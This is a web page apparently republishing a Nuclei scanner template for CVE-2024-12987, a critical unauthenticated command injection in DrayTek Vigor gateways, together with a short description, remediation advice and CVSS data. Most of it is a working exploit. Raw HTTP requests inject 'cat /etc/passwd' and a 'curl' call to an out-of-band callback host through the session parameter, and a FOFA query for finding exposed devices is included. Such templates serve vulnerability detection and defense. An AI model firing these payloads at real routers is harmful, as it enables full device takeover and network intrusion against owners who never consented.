CVE-2024-12987: DrayTek Vigor - Command Injection

2025-08-01 DrayTek Vigor PoC Public

Description

DrayTek Gateway devices (Vigor2960, Vigor300B, etc.) are vulnerable to command injection via the session parameter in the /cgi-bin/mainfunction.cgi/apmcfgupload endpoint. An attacker can inject arbitrary commands and retrieve their output.

PoC

id: CVE-2024-12987

info:
  name: DrayTek Vigor - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    DrayTek Gateway devices (Vigor2960, Vigor300B, etc.) are vulnerable to command injection via the session parameter in the /cgi-bin/mainfunction.cgi/apmcfgupload endpoint. An attacker can inject arbitrary commands and retrieve their output.
  impact: |
    Unauthenticated attackers can inject arbitrary system commands through the session parameter in the apmcfgupload endpoint to execute commands on DrayTek routers, enabling complete device compromise and network infiltration.
  remediation: |
    Update the firmware to the latest version provided by DrayTek. If no update is available, consider implementing network segmentation to restrict access to the device's management interface.
  reference:
    - https://netsecfish.notion.site/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12987
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-12987
    cwe-id: CWE-78
    epss-score: 0.98084
    epss-percentile: 0.99909
    cpe: cpe:2.3:h:draytek:vigor300b:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    fofa-query: '"excanvas.js" && "lang == \"zh-cn\"" && "detectLang" && server=="DWS"'
    vendor: DrayTek
    product: Vigor300B
  tags: cve,cve2024,draytek,rce,router,kev,vkev,vuln

http:
  - raw:
      - |+
        GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccat${IFS}/etc/passwd HTTP/1.0
        Host: {{Hostname}}

      - |+
        GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccurl${IFS}{{interactsh-url}} HTTP/1.0
        Host: {{Hostname}}

    stop-at-first-match: true
    unsafe: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(header, 'DWS')
          - status_code == 200
        condition: and

      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains(header, 'DWS')
          - status_code == 200
        condition: and
# digest: 4a0a004730450221009027800a66584dc41cb98b11b0f495abcffd434a98d9833779cdb9f472cf1aed02204987cb0dbf76c2f3f295898da1d5aed4ecec912018e2da0cf762a5ad0115d8dc:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities